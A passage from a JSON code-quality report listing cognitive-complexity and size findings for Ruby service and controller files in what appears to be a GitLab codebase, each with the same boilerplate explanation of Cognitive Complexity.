(exceeds 5 allowed). Consider refactoring.","fingerprint":"4cd7f00168c6c916f0dc7075f0ca3349","location":{"path":"app/services/merge_requests/merge_service.rb","lines":{"begin":17,"end":37}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"35e1a81d921bd211a80412b3021d8f1f","location":{"path":"app/services/merge_requests/create_from_issue_service.rb","lines":{"begin":16,"end":31}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `validate_branches` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"629d86725d56fa929caf501972ac7cf2","location":{"path":"app/services/merge_requests/build_service.rb","lines":{"begin":92,"end":97}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `BuildService` has 22 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"0955c9bbce7bc1720631a8dc579bbf5f","location":{"path":"app/services/merge_requests/build_service.rb","lines":{"begin":4,"end":208}},"other_locations":[],"remediation_points":1400000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `get_branches` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7e605b474bb1fb7b66f5bfbaf51d3c6d","location":{"path":"app/services/merge_requests/get_urls_service.rb","lines":{"begin":33,"end":50}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `handle_changes` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"cefad5ecb48fbecc8f4fa6ba026659f8","location":{"path":"app/services/merge_requests/update_service.rb","lines":{"begin":27,"end":78}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `handle_changes` has 42 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"db391ef0b97408393fd716be0c7356dd","location":{"path":"app/services/merge_requests/update_service.rb","lines":{"begin":27,"end":78}},"other_locations":[],"remediation_points":1008000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `commit_status_merge_requests` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"784a58094574fa35608fca082c2548e7","location":{"path":"app/services/merge_requests/base_service.rb","lines":{"begin":76,"end":85}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `interpret_service.rb` has 596 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"83735b0b7c1f8d22c40f49e709c57e70","location":{"path":"app/services/quick_actions/interpret_service.rb","lines":{"begin":3,"end":700}},"other_locations":[],"remediation_points":6182400,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b08fd2ee935cfed15e0505bb9af417b4","location":{"path":"app/services/discussions/update_diff_position_service.rb","lines":{"begin":5,"end":34}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"dcb90a6db168562206b2356716e752b6","location":{"path":"app/services/git_push_service.rb","lines":{"begin":24,"end":65}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `index` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8b2781e6841d5d63745094c685fcd1e8","location":{"path":"app/controllers/groups/children_controller.rb","lines":{"begin":6,"end":29}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `index` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"3169a6c4ee72f03a1318dedbed6b40ff","location":{"path":"app/controllers/groups/group_members_controller.rb","lines":{"begin":17,"end":39}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `failure_message` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e3605869f669f4cb85ba66bdd5b04c7a","location":{"path":"app/controllers/omniauth_callbacks_controller.rb","lines":{"begin":30,"end":38}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `omniauth_flow` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8cf6a8a0fd40eb5ff273cc6dba558403","location":{"path":"app/controllers/omniauth_callbacks_controller.rb","lines":{"begin":77,"end":95}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `sign_in_user_flow` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e780968a46460e3b3fe11a34ddfc0c00","location":{"path":"app/controllers/omniauth_callbacks_controller.rb","lines":{"begin":115,"end":136}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `OmniauthCallbacksController` has 22 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"af6b190bf330da08acbe854817a6812f","location":{"path":"app/controllers/omniauth_callbacks_controller.rb","lines":{"begin":3,"end":192}},"other_locations":[],"remediation_points":1400000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `impersonate` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f01a1ec9614ccf1b226a3e42206b203b","location":{"path":"app/controllers/admin/users_controller.rb","lines":{"begin":33,"end":56}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `update` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"af47e69f6ee053a6f226de336934f214","location":{"path":"app/controllers/admin/users_controller.rb","lines":{"begin":118,"end":147}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `UsersController` has 23 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"bb3ecebd549737d88ffb4ea7b2d02d16","location":{"path":"app/controllers/admin/users_controller.rb","lines":{"begin":3,"end":230}},"other_locations":[],"remediation_points":1500000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `show` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4d5e93c6a88076ccc249e69590f05f53","location":{"path":"app/controllers/admin/system_info_controller.rb","lines":{"begin":34,"end":57}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `show` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"6c80ea5d1d0a024abdc38fba56cb8435","location":{"path":"app/controllers/concerns/uploads_actions.rb","lines":{"begin":35,"end":48}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `send_blob` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"cfa9da0619389a51f42df3b51bf5c65c","location":{"path":"app/controllers/concerns/sends_blob.rb","lines":{"begin":11,"end":25}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `leave` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1f6860cf601d992df6f0af95d95748a0","location":{"path":"app/controllers/concerns/membership_actions.rb","lines":{"begin":63,"end":82}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `set_issuables_index` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f415a6c750063cabd8f90d48e98e5eb0","location":{"path":"app/controllers/concerns/issuable_collections.rb","lines":{"begin":17,"end":38}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `authenticate_with_two_factor` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"36f3a297fab9a3ef0e526b7f851741b2","location":{"path":"app/controllers/concerns/authenticates_with_two_factor.rb","lines":{"begin":43,"end":54}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `safe_redirect_path` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"36420be74fc50045ef291eb40a71bb77","location":{"path":"app/controllers/concerns/internal_redirect.rb","lines":{"begin":6,"end":17}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `safe_redirect_path_for_url` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d5b751dbd9dd362815b574f1cb52225a","location":{"path":"app/controllers/concerns/internal_redirect.rb","lines":{"begin":19,"end":26}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `note_json` has a Cognitive Complexity of 14 (exceeds 5 allowed). Consider refactoring.","fingerprint":"273ea02f6c72cced154034c12207d3f1","location":{"path":"app/controllers/concerns/notes_actions.rb","lines":{"begin":104,"end":146}},"other_locations":[],"remediation_points":1050000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `diff_discussion_html` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"62bc37c3eb9f037889edcbe39ef53aa6","location":{"path":"app/controllers/concerns/notes_actions.rb","lines":{"begin":148,"end":174}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `note_project` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"573f594e00ed6b29987ce9e763457833","location":{"path":"app/controllers/concerns/notes_actions.rb","lines":{"begin":239,"end":256}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `note_json` has 34 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"2572ca1fa7eb27c9668322b7a098f02a","location":{"path":"app/controllers/concerns/notes_actions.rb","lines":{"begin":104,"end":146}},"other_locations":[],"remediation_points":816000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `recaptcha_check_with_fallback` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f5ab9c6deb983a187870f912e14afaea","location":{"path":"app/controllers/concerns/spammable_actions.rb","lines":{"begin":29,"end":54}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered 